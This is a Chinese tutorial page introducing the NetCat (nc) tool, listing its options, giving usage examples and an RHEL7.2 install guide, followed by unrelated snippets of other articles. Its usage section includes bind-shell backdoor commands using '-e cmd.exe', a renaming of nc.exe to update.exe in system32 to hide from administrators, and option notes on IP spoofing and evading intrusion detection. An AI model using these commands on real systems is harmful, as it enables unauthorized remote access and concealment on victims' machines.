nc之一:NetCat简介与使用方法
精品学习网考试频道小编应广大考生的需要,特为参加考试的考生策划了“NetCat简介与使用方法”专题等有关资料,供考生参考!
在入侵中它是最经典的工具之一 ,NetCat被所有的网络安全爱好者和研究者称之为瑞士军刀,通过名字大家就能知道他的功能足够丰富。
nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。
nc的命令行
nc的基本命令行形式是 nc [options] host ports,其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。
-d 只对Windows操作系统有用,该选项使NetCat以隐蔽模式工作,从而脱离MS-DOS命令提示符下环境运行,使得nc不需要保持打开命令窗口便可在监听模式下运行,也可以帮助黑客很好地隐藏监听NetCat实例而不被系统管理员发现。
-e 如果NetCat使用gaping_security_hole选项进行编译,那么只要某人在NET后台所监听的任何端口上建立连接,该NetCat都将执行,且客户端的NetCat会通过管道将I/O传输到在别处监听的另一个NetCat实例中。使用这个选项非常危险,除非你对nc相当了解,起码知道你自己在做什么。这是在系统中建立后门shell的一个非常快捷且容易的方法。
-i 延时间隔,表示在两次数据发送之间nc等待的时间。例如:当经过管道传输一个文件到nc的时候,在传输输入的下一行之前,nc将等待的秒数。当使用nc对一台主机的多个端口之间进行操作时,在切换到下一个端口之前,nc等待的秒数。这样可以使黑客在进行数据传输或对一个服务进行攻击的时候更加隐蔽,也可以帮助你的端口扫描不被入侵检测系统和系统管理员发现。
-g这个选项具有欺骗性。nc支持loose source routing(松散源路由)。你可以在命令行中指定多达8个-g选项来强迫nc流量经过特定的IP地址,这在你为流量设置伪造的源IP地址时,可以利用这个方法达到通过防火墙的过滤器或者允许访问主机列表,希望接收到从主机返回的响应。
-G该选项让用户在-g选项所指定的路由列表中指定的一个地址作为当前的下一路由,由于IP地址为4字节大小(IPV4),所以这个参数总是4字节的倍数;例如,4代表路由表中的第一个IP地址,8代表第二个IP地址,依次类推。这在伪造部分源路由表使得报文看起来相当的有用。在进行欺骗和源路由时,这个功能有助于屏蔽你的位置,但也不一定能接收到响应报文,因为响应报文将经过由伪造的IP地址反路由回来。
-l 该选项切换nc的监听模式。此选项必须与-p选项一起使用以告诉nc绑定某个指定的TCP端口并等待到来的连接。若换成-u选项,则应使用UDP端口而非TCP端口。
-L 该选项在Windows版本中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式,即使此时初始的连接已经结束,nc也能在不需要用户干涉的情况下接收后面新的连接。与-l一样,必须与-p同时使用。
-n 该选项告诉我们nc不做任何主机名查找的工作。
-0对数据执行一次十六进制转储(hex dump )并将其存储在hexfile中。命令nc-o hexfile将把双向通信的数据记录下来,在每行的开始处会有一个“<"或">”用来分别指示是进入数据还是外出数据。如果只想得到对进入数据的十六进制转储,可以使用 nc -ohexfile命令。
-p 让用户指定一个nc应使用的本地端口号。当通过-l或-L选项来使用监听模式的时候,这个参数是必需的。如果没有为外出连接指定这个参数,则与大多数其他TCP或UDP客户程序的做法一样,nc将使用系统分配给他的任何端口。
-r 该参数使nc可以随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是很有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。
-s 指定nc建立连接时所使用的IP地址,该选项允许黑客做一些工作,它允许黑客隐藏他们的IP地址或假冒他人的IP地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监听的服务“预先绑定”,所有TCP和UDP服务都绑定到某个端口。
-t 如果使用telnet选项编译,nc就可以与telnet服务器进行telnet选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接23端口的信息。
-u nc使用UDP而非TCP,在客户模式和监听模式下都起作用。
-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。
-w控制在一个连接上nc放弃之前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)之后应该等待多长时间来关闭连接并退出。如果你通过nc向远程服务器发送命令并且期望大量的数据返回(例如:向一台web服务器发送一个http命令以下载一个大文件),该选项是很有用的。
nc的具体使用
c: c.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。
c: c.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,
c:\move nc.exe c:\windows\system32\Drivers\update.exe
c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe
系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。
c:\windows\systme32\drivers\update.exe
cmd line: -l -p 4455 -d -L -e cmd.exe
c:\>
nc -l - p 80 监听80端口
nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中
nc -v -l -p 80 监听80端口,并显示端口信息
nc -vv -l -p 80 监听80端口,显示更详细的端口信息
nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。
nc -v ip port 扫瞄某IP的某个端口
nc -v -z ip port-port扫描某IP的端口到某端口
nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口
RHEL7.2下netcat工具安装教程
1.下载
下载地址:http://sourceforge.net/projects/netcat/files/netcat/0.7.1/(下载的是netcat-0.7.1.tar.gz版本)
2.解压:
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
3.改名:
cd /usr/local
mv netcat-0.7.1 netcat
4.安装
切换目录:cd /usr/local/netcat
配置,把文件存放在/opt/netcat下,删除时,卸载软件时,只要删除这个文件就行了:
./configure --prefix=/opt/netcat
编译:make
安装:make install
5.配置
vim /etc/profile
添加以下内容:
# set netcat path
export NETCAT_HOME=/opt/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
6.检验
nc --help成功
7.监听本地8888端口
[root@localhost netcat-0.7.1]# nc -l -u -p 8888
当有UDP信息是打印出来:
[root@localhost netcat-0.7.1]# nc -l -u -p 8888
E:\myspace\netty-demo\src\main\java\com\dxz\nettydemo\chapter13\log.txt:fasfE:\myspace\netty-demo\src\main\java\com\dxz\nettydemo\chapter13\log.txt:abc
nc之一:NetCat简介与使用方法的更多相关文章
- NetCat简介与使用方法
精品学习网考试频道小编应广大考生的需要,特为参加考试的考生策划了“NetCat简介与使用方法”专题等有关资料,供考生参考! 在入侵中它是最经典的工具之一 ,NetCat被所有的网络安全爱好者和研究者称 ...
- [转]NetCat简介
NetCat是一个非常简单的Unix工具,可以读.写TCP或UDP网络连接(network connection).它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易 ...
- PHP Socket(套接字连接)扩展简介和使用方法
PHP socket扩展是基于流行的BSD sockets,实现了和socket通讯功能的底层接口,它可以和客户端一样当做一个socket服务器. 使用这些函数时请注意,虽然他们中有很多和C函数同名的 ...
- nc之netcat端口测试与nmap工具
nc介绍: nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具,其有Windows和Linux的版本,可通过TCP或UDP协议传输读写数据. ...
- nc命令 (NetCat)
摘自http://www.68idc.cn/help/server/linux/2014040682705.html NetCat,在网络工具中有"瑞士军刀"美誉,其有Window ...
- git简介及使用方法
一.git简介及安装1.git简介 Git 是用于 Linux 内核开发的版本控制工具.与常用的版本控制工具 CVS, Subversion 等不同,它采用了分布式版本库的方式,不必服务器端软件支持, ...
- nc(netcat)扫描开放端口
探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat. 1.使用netcat探测端口是否开放 nc -z -v - #z代表不交互要不 ...
- Retrofit简介与使用方法(翻译)
简介 Retrofit 是一个Square开发的类型安全的REST安卓客户端请求库.这个库为网络认证.API请求以及用OkHttp发送网络请求提供了强大的框架.Retrofit库让从web api下载 ...
- JavaScript简介与使用方法
1.JavaScript简介 1.1.JavaScript简史 最初:网络通信很慢,网页上的数据要传送到数据库验证,然后再返回错误结果,找客观过程要等很久,于是,网景公司开发出一门新语言,当时Java ...
随机推荐
- 让FireFox支持 window.event 全局事件对象
这里比原文稍加改进,让FF也支持 event.srcElement了, 省得每次写兼容代码挺麻烦的: //For firefox window.event if(typeof(window.event ...
- 10个超有趣的linux命令
本文展示了 10 个有趣的 Linux 动态命令,这些命令和实用功能无关,仅供娱乐!看完此文,你会对 Linux 有个全新的认识,谁说 IT 男就没有屌丝娱乐的一面呢?还等什么,就让我们开始看文章吧~ ...
- 数据结构习题 线段树&树状数组
说明:这是去年写了一半的东西,一直存在草稿箱里,今天整理东西的时候才发现,还是把它发表出来吧.. 以下所有题目来自Lrj的<训练指南> LA 2191 单点修改,区间和 Fenwick直 ...
- vc 判断当前用户是否在管理员组以及是否SYSTEM权限运行
BOOL IsUserInAdminGroup() //判断是否在管理员组 { BOOL fInAdminGroup = FALSE; HANDLE hToken = NULL; HANDLE hTo ...
- jsp实现浏览器全屏
在web系统中实现按钮控制浏览器全屏. <!DOCTYPE html> <%@ page contentType="text/html;charset=UTF-8" ...
- 命令行编译vs10项目工程
参考网址: http://www.oschina.net/question/234345_42135 1. 1.1.使用的命令行为:开始-->所有程序--> vs2020 --> V ...
- jsp:choose 、when 和 和 otherwise 一组标签
这些标签一般是组合起来一起使用的,就相当于 Java 程序中的 switch 条件语句.在<c:choose>标签体中包括<c:when>和<c:otherwise> ...
- DH04-开放封闭原则
模式简介 定义:一个软件实体如类.模块和函数应该对扩展开放,对修改关闭. 无论模块是多么封闭,都会存在一些无法对之封闭的变化.对设计的模块预估可能发生变化种类,然后构造抽象来隔离变化. 解决:创建抽象 ...
- 解决: PyInstaller打包后exe文件打开时出现failed to execute script
def resource_path(self, relative): if hasattr(sys, "_MEIPASS"): return os.path.join(sys._M ...
- poj1463 树形dp
树形dp裸题,不过输入是真的恶心,要字符串读入考虑数字大于等于10的情况 dp[i][j]表示i的子树在j状态的最小的边集覆盖,j为0表示不选当前结点,1表示选 转移方程(u->x是u的所有子节 ...